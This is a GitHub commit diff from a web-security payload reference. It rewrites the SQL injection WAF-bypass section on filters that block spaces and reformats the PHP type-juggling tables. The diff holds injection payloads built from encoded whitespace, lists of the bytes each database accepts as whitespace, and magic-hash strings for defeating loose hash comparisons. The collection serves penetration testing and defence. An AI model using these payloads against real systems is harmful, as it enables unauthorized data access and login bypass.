Skip to content

Commit 7faf14a

Browse files
swisskyreposwisskyrepo
committed
SQL injection - Generic Bypass (Space)
1 parent ac73b0c commit 7faf14a

3 files changed

Lines changed: 40 additions & 31 deletions

File tree

‎README.md‎

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,8 @@
22

33
A list of useful payloads and bypasses for Web Application Security.
44
Feel free to improve with your payloads and techniques !
5-
I :heart: pull requests :)
65

7-
You can also contribute with a :beers: IRL, or using the sponsor button
6+
You can also contribute with a :beers: IRL, or using the sponsor button.
87

98
[![Sponsor](https://img.shields.io/static/v1?label=Sponsor&message=%E2%9D%A4&logo=GitHub&link=https://github.com/sponsors/swisskyrepo)](https://github.com/sponsors/swisskyrepo)
109
[![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Payloads%20All%20The%20Things,%20a%20list%20of%20useful%20payloads%20and%20bypasses%20for%20Web%20Application%20Security%20-%20by%20@pentest_swissky&url=https://github.com/swisskyrepo/PayloadsAllTheThings/)

‎SQL Injection/README.md‎

Lines changed: 32 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@
3131
* [Second Order SQL Injection](#second-order-sql-injection)
3232
* [PDO Prepared Statements](#pdo-prepared-statements)
3333
* [Generic WAF Bypass](#generic-waf-bypass)
34-
* [White Spaces](#white-spaces)
34+
* [No Space Allowed](#no-space-allowed)
3535
* [No Comma Allowed](#no-comma-allowed)
3636
* [No Equal Allowed](#no-equal-allowed)
3737
* [Case Modification](#case-modification)
@@ -439,30 +439,37 @@ PDO allows for binding of input parameters, which ensures that user data is prop
439439

440440
## Generic WAF Bypass
441441

442-
### White Spaces
443-
444-
Bypass using whitespace alternatives.
445-
446-
| Bypass | Technique |
447-
| ------------------------ | ---------------------- |
448-
| `?id=1%09and%091=1%09--` | Whitespace alternative |
449-
| `?id=1%0Aand%0A1=1%0A--` | Whitespace alternative |
450-
| `?id=1%0Band%0B1=1%0B--` | Whitespace alternative |
451-
| `?id=1%0Cand%0C1=1%0C--` | Whitespace alternative |
452-
| `?id=1%0Dand%0D1=1%0D--` | Whitespace alternative |
453-
| `?id=1%A0and%A01=1%A0--` | Whitespace alternative |
454-
| `?id=1%A0and%A01=1%A0--` | Whitespace alternative |
455-
456-
| DBMS | ASCII characters in hexadecimal |
457-
| ---------- | ------------------------------- |
458-
| SQLite3 | 0A, 0D, 0C, 09, 20 |
459-
| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
460-
| MySQL 3 | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
461-
| PostgreSQL | 0A, 0D, 0C, 09, 20 |
462-
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
463-
| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |
464-
465-
Bypass using comments and parenthesis.
442+
### No Space Allowed
443+
444+
Some web applications attempt to secure their SQL queries by blocking or stripping space characters to prevent simple SQL injection attacks. However, attackers can bypass these filters by using alternative whitespace characters, comments, or creative use of parentheses.
445+
446+
#### Alternative Whitespace Characters
447+
448+
Most databases interpret certain ASCII control characters and encoded spaces (such as tabs, newlines, etc.) as whitespace in SQL statements. By encoding these characters, attackers can often evade space-based filters.
449+
450+
| Example Payload | Description |
451+
|-------------------------------|----------------------------------|
452+
| `?id=1%09and%091=1%09--` | `%09` is tab (`\t`) |
453+
| `?id=1%0Aand%0A1=1%0A--` | `%0A` is line feed (`\n`) |
454+
| `?id=1%0Band%0B1=1%0B--` | `%0B` is vertical tab |
455+
| `?id=1%0Cand%0C1=1%0C--` | `%0C` is form feed |
456+
| `?id=1%0Dand%0D1=1%0D--` | `%0D` is carriage return (`\r`) |
457+
| `?id=1%A0and%A01=1%A0--` | `%A0` is non-breaking space |
458+
459+
**ASCII Whitespace Support by Database**:
460+
461+
| DBMS | Supported Whitespace Characters (Hex) |
462+
|--------------|----------------------------------------------___-|
463+
| SQLite3 | 0A, 0D, 0C, 09, 20 |
464+
| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
465+
| MySQL 3 | 01–1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0|
466+
| PostgreSQL | 0A, 0D, 0C, 09, 20 |
467+
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
468+
| MSSQL | 01–1F, 20 |
469+
470+
#### Bypassing with Comments and Parentheses
471+
472+
SQL allows comments and grouping, which can break up keywords and queries, thus defeating space filters:
466473

467474
| Bypass | Technique |
468475
| ----------------------------------------- | -------------------- |

‎Type Juggling/README.md‎

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -27,14 +27,14 @@
2727
| `'0010e2' == '1e3'` | true |
2828
| `'0xABCdef' == ' 0xABCdef'` | true (PHP 5.0) / false (PHP 7.0) |
2929
| `'0xABCdef' == ' 0xABCdef'` | true (PHP 5.0) / false (PHP 7.0) |
30-
| `'0x01' == 1` | true (PHP 5.0) / false (PHP 7.0) |
30+
| `'0x01' == 1` | true (PHP 5.0) / false (PHP 7.0) |
3131
| `'0x1234Ab' == '1193131'` | true (PHP 5.0) / false (PHP 7.0) |
3232
| `'123' == 123` | true |
3333
| `'123a' == 123` | true |
3434
| `'abc' == 0` | true |
3535
| `'' == 0 == false == NULL` | true |
3636
| `'' == 0` | true |
37-
| `0 == false` | true |
37+
| `0 == false` | true |
3838
| `false == NULL` | true |
3939
| `NULL == ''` | true |
4040

@@ -65,15 +65,18 @@ Loose Type comparisons occurs in many languages:
6565
> Magic hashes arise due to a quirk in PHP's type juggling, when comparing string hashes to integers. If a string hash starts with "0e" followed by only numbers, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations.
6666
6767
| Hash | "Magic" Number / String | Magic Hash | Found By / Description |
68-
| ---- | -------------------------- |:---------------------------------------------:| -------------:|
68+
| ---- | -------------------------- | --------------------------------------------- | -------------|
6969
| MD4 | gH0nAdHk | 0e096229559581069251163783434175 | [@spaze](https://github.com/spaze/hashes/blob/master/md4.md) |
7070
| MD4 | IiF+hTai | 00e90130237707355082822449868597 | [@spaze](https://github.com/spaze/hashes/blob/master/md4.md) |
7171
| MD5 | 240610708 | 0e462097431906509019562988736854 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) |
7272
| MD5 | QNKCDZO | 0e830400451993494058024219903391 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) |
7373
| MD5 | 0e1137126905 | 0e291659922323405260514745084877 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) |
7474
| MD5 | 0e215962017 | 0e291242476940776845150308577824 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) |
7575
| MD5 | 129581926211651571912466741651878684928 | 06da5430449f8f6f23dfc1276f722738 | Raw: ?T0D??o#??'or'8.N=? |
76-
| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham |
76+
77+
| Hash | "Magic" Number / String | Magic Hash | Found By / Description |
78+
| ---- | -------------------------- | --------------------------------------------- | -------------|
79+
| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Michael A. Cleverly, Michele Spagnuolo & Rogdham |
7780
| SHA-224 | 10885164793773 | 0e281250946775200129471613219196999537878926740638594636 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1138075224010833921) |
7881
| SHA-256 | 34250003024812 | 0e46289032038065916139621039085883773413820991920706299695051332 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1148586399207178241) |
7982
| SHA-256 | TyNOQHUS | 0e66298694359207596086558843543959518835691168370379069085300385 | [@Chick3nman512](https://twitter.com/Chick3nman512/status/1150137800324526083) |

0 commit comments

Comments
 (0)